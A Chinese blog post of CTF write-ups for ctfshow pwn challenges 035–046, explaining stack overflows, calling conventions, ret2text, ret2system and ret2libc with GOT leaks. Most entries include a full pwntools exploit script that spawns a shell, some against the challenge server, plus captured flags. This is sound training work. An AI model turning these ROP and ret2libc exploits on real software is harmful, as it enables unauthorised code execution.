前言
基本上啥也没干有大半年了,也是开始复健了,毕竟凡事都得向前看。这复健一复吓一跳啊,怎么什么都忘光了。
035

可以看到,flag 写进了 flag 里面

flag 是在 bss段。
关键函数: signal
#include <signal.h>#include "syscall.h"#include "libc.h"int __sigaction(int, const struct sigaction *, struct sigaction *);void (*signal(int sig, void (*func)(int)))(int){ struct sigaction sa_old, sa = { .sa_handler = func, .sa_flags = SA_RESTART }; if (__sigaction(sig, &sa, &sa_old) < 0) return SIG_ERR; return sa_old.sa_handler;}weak_alias(signal, bsd_signal);核心逻辑就是
struct sigaction sa_old, sa;sa.sa_handler = func;sa.sa_flags = SA_RESTART;__sigaction(sig, &sa, &sa_old);return sa_old.sa_handler;简单来说就是这个函数规定了程序在遭遇异常时不使用默认行为,而是去执行signal第二个参数。
因此,我们进入这个函数去查看。

可以看出,当遇到信号11即SIGSEGV(Segmentation Fault)段错误,也就是当访问了不该访问的内存后抛出的异常信号,我们不会默认退出,而是去执行 sigsegv_handler()函数,去打印出flag的内容。
再往下看:

C语言中, int main(int argc, char *argv[]) argc为argument count也就是参数数量。argv为 argument vector也就是参数列表。当我们编译一个程序,例如:
./test hello 123 abc此时,argc = 4,argv[0] = test``argv[1] = hello 。那么很明显,这个题目远端有pwnme elf文件,那么我们运行的时候必须传入两个参数。


很明显了,会把我们传入的第二个参数放入 dest里面。偏移为 0x6C + 4

flag = ctfshow{17edb583-98ef-4064-a3d9-3a24b0ed7e91}
036
关键函数:



我们只要想办法进入后门函数即可
#!/usr/bin/env python3from pwn import *context.binary = elf = ELF("./pwn", checksec=False)context.log_level = "info"OFFSET = 0x28 + 4PAYLOAD = b"A" * OFFSET + p32(elf.symbols["get_flag"])p = remote("pwn.challenge.ctf.show", 28272)p.recvuntil(b"Enter what you want: ")p.sendline(PAYLOAD)p.interactive()flag = ctfshow{fd47e9d5-d5ac-4966-b41e-caed8053b91a}
037


脚本:
#! /usr/bin/env python3from pwn import *p = process("./pwn")offset = 0x12 + 4payload = b"A" * offset + p32(0x08048521)p.sendline(payload)p.interactive()
038



在脚本中需要注意栈对齐,由于我们不是正常的call而是直接去ret,所以进入system时未对齐
#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) +p64(0x400657)p.sendline(payload)p.interactive()
就嘲笑我这个老年人的手眼协调吧:(
039
先复习一下 32 位参数调用
32位的传参都是在栈上去传的
传参
push 2 -> push 1 ->call func (即:push ret_addr -> jmp func_addr) -> push ebp -> mov ebp ,esp -> sub ...清理
leaveret即:mov esp ,ebp -> pop ebp -> ret ->add esp看题


#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf = ELF("./pwn")offset = 0x12 + 4bin_sh = 0x08048750system = elf.symbols['system']payload = b"A" * offset + p32(system) + p32(0) + p32(bin_sh)p.sendline(payload)p.interactive()
也是终于一次拼对了好吧
040
先复习一下 64 位参数调用
跟 32 位不同的是 64 位前 6 个参数是通过寄存器传入的
| 参数 | 寄存器 |
|---|---|
参数1 | rdi |
参数2 | rsi |
参数3 | rdx |
参数4 | rcx |
参数5 | r8 |
参数6 | r9 |
返回值放在 rax |
mov edi ,1mov esi ,2call func假如参数是指针,例如
puts("hello")lea rdi ,[rip + 偏移] #利用相对寻址call puts回到寄存器,call依然是
push retjmp func进入 func 后
push rbpmov rbp ,rspsub rsp , ...结束时
leaveret等价于mov rsp ,rbppop rbpret当传参超过 6个,才走栈,之后需要 add rsp ...
现在看题


#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']bin_sh = next(elf.search(b"/bin/sh"))pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)p.sendline(payload)p.interactive()也是同样注意栈对齐

041
这个题没有 /bin/sh 但有 sh。这两个的区别就是一个是绝对路径,一个会利用system自己去搜寻,为相对路径。


#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf = ELF("./pwn")offset = 0x12 + 4sh = next(elf.search(b"sh"))system = elf.symbols['system']payload = b"A" * offset + p32(system) + p32(0) + p32(sh)p.sendline(payload)p.interactive()
042
老样子,换成64位

#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']sh = next(elf.search(b"sh"))pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)p.sendline(payload)p.interactive()
043



可以看到题目有gets函数,有system函数,但是没有可用的字符。观察发现

.bss段有可写入的地方,那我们思路就有了
劫持程序流->gets写入buf2,之后system调用buf2的字符就行了
#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)gets = elf.symbols['gets']system = elf.symbols['system']buf2 = 0x804B060offset = 0x6C + 4payload = b"a" * offset + p32(gets) + p32(system) + p32(buf2) + p32(buf2)p.sendline(payload)p.sendline(b"/bin/sh")p.interactive()
044
也是同样的题目,只不过换成了 64位




payload 遵循 64 位调用约定就可以了
#! /usr/bin/env python3from pwn import *context(os='linux', arch='amd64', log_level='debug')p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']buf2 = 0x602080pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addressgets = elf.symbols['gets']offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(ret) + p64(pop_rdi) + p64(buf2) + p64(system)p.sendline(payload)p.sendline(b"/bin/sh")p.interactive()
045

这道题没有可用的字符串,也没有system,并且栈不可执行,但有puts和write,那么很明显就应该是走ret2libc

本来只泄露了puts的got表,但好像libcsearcher查询不到,那就去网上查版本吧

头大,再泄露个write吧
[+] Starting local process './pwn': pid 55820[*] '/home/lmx/pwn/ctfshow/栈溢出/045_pwn45/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No[*] Loaded 11 cached gadgets for './pwn'puts_addr: 0xecd26580write_addr: 0xecdc7500舒服了


神了,突然想起刚一直打的本地
#! /usr/bin/env python3from LibcSearcher import LibcSearcherfrom pwn import *context(os='linux', arch='i386')p = remote("pwn.challenge.ctf.show", 28216)elf = ELF("./pwn")rop = ROP(elf)p.recvuntil(b"O.o?\n")offset = 0x6b + 4puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']write_plt = elf.plt['write']write_got = elf.got['write']payload = b"A" * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)p.sendline(payload)puts_addr = u32(p.recv(4))p.recvuntil(b"O.o?\n")print("puts_addr: " + hex(puts_addr))payload = b"A" * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)p.sendline(payload)write_addr = u32(p.recv(4))print("write_addr: " + hex(write_addr))libc_base = puts_addr - 0x67360system_addr = libc_base + 0x3cd10bin_sh_addr = libc_base + 0x17b8cfprint("libc_base: " + hex(libc_base))print("system_addr: " + hex(system_addr))print("bin_sh_addr: " + hex(bin_sh_addr))payload = b"A" * offset + p32(system_addr) + p32(0) + p32(bin_sh_addr)p.recvuntil(b"O.o?\n")p.sendline(payload)p.interactive()flag = ctfshow{0ca0862b-bb5a-4ecb-a3fa-0473ee2a9598}
046

这道题比较有意思,最开始想的还是泄露两次 .got表,但是呢没有可用的 pop rdx指令。但是有
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret难道这个题还得用 ret2csu?

但又一看,dx寄存器已经设好了,且之后也没有变化,但是又一看
.got.plt:0000000000602018 off_602018 dq offset puts ; DATA XREF: _puts↑r.got.plt:0000000000602020 off_602020 dq offset write ; DATA XREF: _write↑r.got.plt:0000000000602028 off_602028 dq offset read ; DATA XREF: _read↑r这不是直接连一块的,那我第一次直接用write泄露三个不就完了,而且dx寄存器也设好了。就是0xc8,空间也够。泄露出来
puts_addr: 0x7ff254c039c0write_addr: 0x7ff254c93140read_addr: 0x7ff254c93070#! /usr/bin/env python3from pwn import *from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p = remote("pwn.challenge.ctf.show", 28154)elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addressputs_got = elf.got['puts']main = elf.symbols['main']pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresspop_rsi_r15 = rop.find_gadget(["pop rsi", "pop r15", "ret"]).addresswrite_plt = elf.plt['write']write_got = elf.got['write']offset = 0x70 + 8p.recvuntil(b"O.o?\n")payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(puts_got) + p64(0) + p64(write_plt) + p64(main)p.sendline(payload)leak = p.recv()puts_addr = u64(leak[:8])print("puts_addr: " + hex(puts_addr))write_addr = u64(leak[8:16])print("write_addr: " + hex(write_addr))read_addr = u64(leak[16:24])print("read_addr: " + hex(read_addr))libc = LibcSearcher("puts", puts_addr)libc_base = puts_addr - libc.dump("puts")system_addr = libc_base + libc.dump("system")bin_sh_addr = libc_base + libc.dump("str_bin_sh")print("libc_base: " + hex(libc_base))print("system_addr: " + hex(system_addr))print("bin_sh_addr: " + hex(bin_sh_addr))payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)p.sendline(payload)p.interactive()flag = ctfshow{bbde4561-223f-4e56-9756-65e342aa4765}
小结
嗯。。。也不算忘光,这种卡拉米的题还是会的 :)

读者回信
正在翻开留言页...